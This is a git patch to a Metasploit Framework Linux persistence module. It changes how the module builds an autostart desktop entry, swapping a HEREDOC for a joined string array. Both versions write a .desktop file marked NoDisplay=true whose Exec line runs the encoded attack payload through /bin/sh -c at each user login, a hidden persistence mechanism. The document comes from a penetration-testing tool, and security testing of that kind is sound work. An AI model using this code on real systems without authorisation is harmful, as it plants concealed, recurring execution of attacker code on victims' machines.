From fc234b09c2182d8191182eea09c388a13e1880bf Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Sun, 15 Jul 2018 16:13:42 +0200 Subject: [PATCH] Fix HEREDOC not always supported --- .../linux/local/autostart_persistence.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/local/autostart_persistence.rb b/modules/exploits/linux/local/autostart_persistence.rb index fec187c18b..29b07bdaf4 100644 --- a/modules/exploits/linux/local/autostart_persistence.rb +++ b/modules/exploits/linux/local/autostart_persistence.rb @@ -52,14 +52,14 @@ class MetasploitModule < Msf::Exploit::Local print_status('Uploading autostart file') cmd_exec("rm #{path}") - write_file(path, <<~HEREDOC - [Desktop Entry] - Type=Application - Name=#{name} - NoDisplay=true - Terminal=false - Exec=/bin/sh -c "#{payload.encoded}" - HEREDOC) + write_file(path, [ + "[Desktop Entry]", + "Type=Application", + "Name=#{name}", + "NoDisplay=true", + "Terminal=false", + "Exec=/bin/sh -c \"#{payload.encoded}\"" + ].join("\n")) end end